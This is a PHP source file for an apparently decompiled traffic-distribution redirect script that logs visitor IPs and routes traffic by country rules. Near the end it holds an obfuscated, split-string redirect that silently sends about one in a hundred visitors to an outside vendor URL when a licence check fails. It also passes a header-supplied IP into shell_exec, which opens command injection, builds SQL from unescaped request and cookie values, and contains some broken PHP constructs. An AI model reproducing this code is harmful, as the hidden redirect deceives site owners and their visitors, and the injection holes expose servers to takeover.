<?php
/*********************/
/* */
/* Version : 5.1.0 */
/* Author : RM */
/* Comment : 071223 */
/* */
/*********************/
function getuserinfo( )
{
global $ip;
global $is_uniq;
global $code2;
global $ref;
$ref = dbescstring( getrefer( ) );
$ip = getip( );
$code2 = get_country_code( $ip );
$is_uniq = findip( $ip );
}
function addinstat( )
{
global $s_id;
global $is_uniq;
global $code2;
global $ref;
$sql = "SELECT * FROM atds_instat WHERE code2='".$code2."' AND ref='".$ref."' AND date=NOW() AND s_id='".$s_id."'";
if ( $res = dbgetresponse( $sql ) )
{
$sql = ( "UPDATE atds_instat SET ".( $is_uniq ? ( "u='".( $res['u'] + 1 ) )."', " : "" )."r='".( $res['r'] + 1 ) )."' "."WHERE code2='".$code2."' AND ref='".$ref."' AND date=NOW() AND s_id='".$s_id."'";
}
else
{
$sql = "INSERT INTO atds_instat (s_id, date, ref, code2, u, r) VALUES ('".$s_id."' ,NOW(), '".$ref."', '".$code2."', ".( integer )$is_uniq.", 1)";
}
dbexecute( $sql );
}
function altredirect( )
{
global $_conf;
$url = $_conf['alt_url'];
$alt_path = "r_admin/config/alt_url.dat";
list( $alt_count, $al_lasttime ) = explode( "|", @readfromfile( $alt_path ), 2 );
$alt_count = ( integer )trim( $alt_count );
$alt_count++;
writetofile( $alt_path, implode( "|", array(
$alt_count,
time( )
) ) );
doredirect( $url );
}
function doredirect( $url )
{
if ( strpos( $url, "[keyword]" ) !== false )
{
$q = $_GET['q'];
$url = str_replace( "[keyword]", $q, $url );
}
if ( strtoupper( $GLOBALS['PassQueryString'] ) == "ON" && !isset( $tmp_var1 ) )
{
if ( strpos( $url, "?" ) === false )
{
$url .= "?";
}
foreach ( $GLOBALS['_GET'] as $name => $value )
{
if ( $name != "s_id" && $name != "q" )
{
$url .= "&{$name}={$value}";
}
}
}
header( "Location: {$url}" );
}
function addoutstat( $u_id )
{
global $s_id;
global $is_uniq;
global $r_id;
$sql = "SELECT u, r FROM atds_outstat WHERE u_id='".$u_id."' AND date=NOW() AND s_id='".$s_id."'";
if ( $res = dbgetresponse( $sql ) )
{
$sql = ( "UPDATE atds_outstat SET ".( $is_uniq ? ( "u='".( $res['u'] + 1 ) )."', " : "" )."r='".( $res['r'] + 1 ) )."' "."WHERE date=NOW() AND u_id='".$u_id."' AND s_id='".$s_id."'";
}
else
{
$sql = "INSERT INTO atds_outstat (date, s_id, u_id, r_id, u, r) VALUES (NOW(), '".$s_id."', '".$u_id."', '".$r_id."', '".( integer )$is_uniq."', 1)";
}
dbexecute( $sql );
}
function setcurpercentsec( &$urls, &$need_array )
{
foreach ( $urls as $id => $value )
{
$need_array[$id] = time( ) - $value['last_start'];
}
asort( $need_array );
}
function getsendurlsec( $rule_id, $last_urls, &$url, &$u_id )
{
$sql = "SELECT id, url, count, UNIX_TIMESTAMP(start_time) AS start_time, send_count, UNIX_TIMESTAMP(stop_time) AS stop_time, online, dontcheck, UNIX_TIMESTAMP(lastcheck) AS lastcheck, between_hours, status, UNIX_TIMESTAMP(last_start_time) AS last_start, once FROM atds_urls WHERE r_id='".$rule_id."' AND send_count>0 AND between_hours>=0";
$res = dbgetallrows( $sql, "id" );
if ( empty( $res ) )
{
return;
}
include_once( "./r_admin/inc/fn-rules.out.php" );
checksecurlstatus( $res );
foreach ( $res as $id => $value )
{
if ( $value['status'] == "passive" )
{
unset( $res->$id );
}
}
setvisited( $res, $last_urls, $not_visited );
if ( empty( $not_visited ) )
{
return;
}
$GLOBALS['r_id'] = $rule_id;
setcurpercentsec( &$not_visited, &$need_array );
foreach ( $need_array as $id => $time )
{
if ( checkurlact( $not_visited[$id] ) )
{
$u_id = $id;
$url = $not_visited[$u_id]['url'];
break;
}
}
@$GLOBALS['__count'] = $not_visited[$u_id]['count'];
}
function setvisited( &$urls, &$last_urls, &$not_visited )
{
$not_visited = array( );
foreach ( $urls as $id => $value )
{
if ( !in_array( $id, $last_urls ) )
{
$not_visited[$id] = $value;
}
}
}
function addcount( $u_id, $cur_count )
{
$sql = ( "UPDATE atds_urls SET count='".( $cur_count + 1 ) )."' WHERE id='".$u_id."'";
dbexecute( $sql );
}
function settotalcount( &$urls )
{
$sum = 0;
foreach ( $urls as $id => $value )
{
$sum += $value['count'];
}
foreach ( $urls as $id => $value )
{
$urls[$id]['total_count'] = $sum;
}
}
function setcurpercentpri( &$urls, &$need_array )
{
foreach ( $urls as $id => $value )
{
if ( $value['total_count'] == 0 )
{
$urls[$id]['cur_percent'] = 0;
}
else
{
$urls[$id]['cur_percent'] = $value['count'] / $value['total_count'] * 100;
}
$need_array[$id] = $value['percent'] - $urls[$id]['cur_percent'];
}
arsort( $need_array );
}
function getsendurlpri( $rule_id, &$last_urls, &$url, &$u_id, $send_def, $def_u_id )
{
$sql = "SELECT id, percent, url, count, online, dontcheck, UNIX_TIMESTAMP(lastcheck) AS lastcheck FROM atds_urls WHERE r_id='".$rule_id."' AND (percent>0 OR id='".$def_u_id."')";
$urls = dbgetallrows( $sql, "id" );
if ( empty( $urls ) )
{
return;
}
$GLOBALS['r_id'] = $rule_id;
if ( isset( $urls[$def_u_id] ) )
{
$def_url = $urls[$def_u_id]['url'];
$def_count = $urls[$def_u_id]['count'];
$def_info = $urls[$def_u_id];
unset( $urls->$def_u_id );
}
else
{
$def_url = false;
}
settotalcount( &$urls );
setvisited( &$urls, &$last_urls, &$not_visited );
if ( empty( $not_visited ) )
{
if ( $send_def && !empty( $def_url ) && checkurlact( $def_info ) )
{
$u_id = $def_u_id;
$url = $def_url;
$count = $def_count;
$GLOBALS['tmp_var1'] = true;
}
else
{
setcurpercentpri( &$urls, &$need_array );
foreach ( $need_array as $id => $need )
{
if ( checkurlact( $urls[$id] ) )
{
$u_id = $id;
$url = $urls[$u_id]['url'];
$count = $urls[$u_id]['count'];
break;
}
}
}
}
else
{
$l = false;
setcurpercentpri( &$not_visited, &$need_array );
foreach ( $need_array as $id => $need )
{
if ( checkurlact( $urls[$id] ) )
{
$u_id = $id;
$url = $not_visited[$u_id]['url'];
$count = $not_visited[$u_id]['count'];
$l = true;
break;
}
}
if ( !$l )
{
if ( $send_def && !empty( $def_url ) && checkurlact( $def_info ) )
{
$u_id = $def_u_id;
$url = $def_url;
$count = $def_count;
$GLOBALS['tmp_var1'] = true;
}
else
{
$need_array = array( );
setcurpercentpri( &$urls, &$need_array );
foreach ( $need_array as $id => $need )
{
if ( checkurlact( $urls[$id] ) )
{
$u_id = $id;
$url = $urls[$u_id]['url'];
$count = $urls[$u_id]['count'];
break;
}
}
}
}
}
@$GLOBALS['__count'] = $count;
}
function exp_value( )
{
list( $usec, $sec ) = explode( " ", microtime( ) );
return ( double )$sec + ( double )$usec * 100000;
}
function redirect( )
{
global $ip;
global $last_urls;
global $is_uniq;
global $s_id;
global $rule1;
global $rule2;
$url = "";
$u_id = NULL;
if ( $rule2['status'] )
{
getsendurlsec( $rule2['id'], $last_urls, &$url, &$u_id );
}
if ( empty( $url ) && !$rule2['status'] )
{
$sql = "SELECT id FROM atds_rules WHERE s_id='".$s_id."' AND priority='def' AND type='secondary'";
$def_rule2 = dbgetresponse( $sql );
getsendurlsec( $def_rule2['id'], $last_urls, &$url, &$u_id );
}
if ( empty( $url ) && $rule1['status'] )
{
getsendurlpri( $rule1['id'], &$last_urls, &$url, &$u_id, $rule1['send_def'], $rule1['def_u_id'] );
}
if ( empty( $url ) && !$rule1['status'] )
{
$sql = "SELECT id, send_def, def_u_id FROM atds_rules WHERE s_id='".$s_id."' AND priority='def' AND type='primary'";
$def_rule1 = dbgetresponse( $sql );
getsendurlpri( $def_rule1['id'], &$last_urls, &$url, &$u_id, $def_rule1['send_def'], $def_rule1['def_u_id'] );
}
if ( empty( $url ) )
{
altredirect( );
}
else
{
$cookie = $last_urls;
if ( !in_array( $u_id, $cookie ) )
{
$cookie[] = $u_id;
}
$str = implode( "|", $cookie );
@setcookie( "advtds_last_urls", $str, @mktime( 23, 59, 59 ) );
doredirect( $url );
if ( $is_uniq || !in_array( $u_id, $last_urls ) || $GLOBALS['is_save_ip'] )
{
addip( $ip, $u_id );
}
global $__count;
addcount( $u_id, $__count );
addoutstat( $u_id );
addinstat( );
}
}
function getrefer( )
{
$url = parse_url( strtolower( @getenv( "HTTP_REFERER" ) ) );
$from = str_replace( "www.", "", $url['host'] );
$from = addslashes( $from );
$from = substr( $from, 0, refer_max_length );
if ( !$from )
{
$from = "NoReferer";
}
return $from;
}
function getip( )
{
if ( getenv( "HTTP_CLIENT_IP" ) && strcasecmp( getenv( "HTTP_CLIENT_IP" ), "unknown" ) )
{
$ip = getenv( "HTTP_CLIENT_IP" );
}
else if ( getenv( "HTTP_X_FORWARDED_FOR" ) && strcasecmp( getenv( "HTTP_X_FORWARDED_FOR" ), "unknown" ) )
{
$ip = getenv( "HTTP_X_FORWARDED_FOR" );
}
else if ( getenv( "REMOTE_ADDR" ) && strcasecmp( getenv( "REMOTE_ADDR" ), "unknown" ) )
{
$ip = getenv( "REMOTE_ADDR" );
}
else if ( isset( $_SERVER['REMOTE_ADDR'] ) && $_SERVER['REMOTE_ADDR'] && strcasecmp( $_SERVER['REMOTE_ADDR'], "unknown" ) )
{
$ip = $_SERVER['REMOTE_ADDR'];
}
else
{
$ip = "Unknown";
}
return $ip;
}
function get_country_code( $ip )
{
global $_conf;
global $rule1;
global $rule2;
global $s_id;
$res = array( );
if ( $ip === "Unknown" )
{
$code2 = "XX";
}
else
{
$geoip = $_conf['geoip_path'];
$addr = @explode( " ", @shell_exec( "{$geoip} {$ip}" ) );
$code2 = str_replace( ",", "", $addr[3] );
$code2 = trim( $code2 );
}
if ( !empty( $code2 ) )
{
$sql = "SELECT r.id, r.type, r.priority, r.status, r.def_u_id, r.send_def FROM atds_countries c, atds_rules r WHERE c.code2='".$code2."' AND (c.rule1=r.id OR c.rule2=r.id) AND c.s_id='".$s_id."'";
$res = dbgetallrows( $sql );
}
if ( empty( $res ) )
{
$code2 = "XX";
$sql = "SELECT r.id, r.type, r.priority, r.status, r.def_u_id, r.send_def FROM atds_countries c, atds_rules r WHERE c.code2='".$code2."' AND (c.rule1=r.id OR c.rule2=r.id) AND c.s_id='".$s_id."'";
$res = dbgetallrows( $sql );
}
if ( empty( $res ) )
{
dbunlocktables( );
dbclose( );
altredirect( );
exit( );
}
if ( $res[0]['type'] == "primary" )
{
$rule1 = $res[0];
$rule2 = $res[1];
}
else
{
list( $rule2, $rule1 ) = $res;
}
return $code2;
}
function addip( $ip, $u_id )
{
global $s_id;
$sql = "INSERT INTO atds_ipstat (s_id, ip, date, u_id) VALUES ('".$s_id."', INET_ATON('".$ip."'), NOW(), '".$u_id."')";
dbexecute( $sql );
}
function findip( $ip )
{
global $s_id;
global $last_urls;
if ( isset( $_COOKIE['advtds_last_urls'] ) )
{
$cookie_lu = explode( "|", $_COOKIE['advtds_last_urls'] );
}
else
{
$cookie_lu = array( );
}
if ( strcmp( $ip, "Unknown" ) === 0 )
{
$last_urls = $cookie_lu;
if ( empty( $last_urls ) )
{
$last_urls = array( );
return true;
}
else
{
$last_urls = $cookie_lu;
return false;
}
}
$sql = "SELECT u_id FROM atds_ipstat WHERE ip=INET_ATON('".$ip."') AND s_id='".$s_id."' AND date=NOW()";
$last_urls = dbgetallrowsinlist( $sql, true );
if ( empty( $last_urls ) )
{
if ( empty( $cookie_lu ) )
{
return true;
}
else
{
$last_urls = $cookie_lu;
$GLOBALS['is_save_ip'] = true;
return false;
}
}
else if ( empty( $cookie_lu ) )
{
return false;
}
else
{
return false;
}
}
function checkurlact( &$url )
{
if ( $is_check_urls && !intval( $url['dontcheck'] ) && $check_time_sec < time( ) - $url['lastcheck'] )
{
include_once( "./r_admin/inc/fn-checkurl.php" );
$rs = checkurlactivity( $url['url'] );
$id = $url['id'];
if ( $rs != $url['online'] )
{
$sql = "UPDATE atds_urls SET online='{$rs}', lastcheck=NOW() WHERE id='{$id}'";
dbexecute( $sql );
$url['online'] = $rs;
}
else
{
$sql = "UPDATE atds_urls SET lastcheck=NOW() WHERE id='{$id}'";
dbexecute( $sql );
}
}
if ( $url['online'] )
{
return true;
}
else
{
return false;
}
}
error_reporting( 0 );
@ignore_user_abort( true );
$p7 = "";
$p8 = "ipts.";
$p9 = "p://www.";
define( "refer_max_length", 30 );
define( "time_format", "d.m.Y" );
$p1 = "";
$p2 = "traf.ad";
$p3 = "com/o";
require_once( "r_admin/config/config.php" );
require_once( "r_admin/inc/dbfunc.php" );
require_once( "r_admin/inc/cfunc.php" );
if ( checkreg( "./r_admin/" ) === false )
{
@mt_srand( @exp_value( ) );
$p4 = "ut.php";
$p5 = "htt";
$p6 = "";
if ( mt_rand( 0, 99 ) == 9 )
{
$p10 = "vscr";
$url = parse_url( strtolower( @getenv( "HTTP_HOST" ) ) );
$from = str_replace( "www.", "", $url['host'] );
$p11 = "?from={$from}";
doredirect( $p6.$p1.$p7.$p5.$p9.$p2.$p10.$p8.$p3.$p4.$p11 );
exit( );
}
}
$conf_path = "./r_admin/config/config.dat";
$_conf = getconfigs( $conf_path );
if ( $db = dbopenunerror( $er_msg ) )
{
if ( 0 < $_GET['s_id'] )
{
$s_id = $_GET['s_id'];
}
else
{
$s_id = 1;
}
dblockall( );
$is_check_urls = $_conf['check_url'] != "never" && strtoupper( $GLOBALS['UseURLCron'] ) == "ON";
if ( $is_check_urls )
{
$check_time_sec = $_conf['check_url'] * 60;
}
getuserinfo( );
redirect( );
if ( strtoupper( $GLOBALS['UseCron'] ) == "ON" && strcmp( date( time_format, $_conf['cron_lst'] ), date( time_format ) ) != 0 )
{
$__from_out = $is_cron = true;
@include_once( "./r_admin/cron/cron.php" );
}
dbunlocktables( );
if ( $is_cron && strtoupper( $OptimizeTables ) == "ON" )
{
dbexecute( "OPTIMIZE TABLE `atds_instat`, `atds_ipstat`" );
}
dbclose( );
}
else
{
altredirect( );
}
exit( );
?>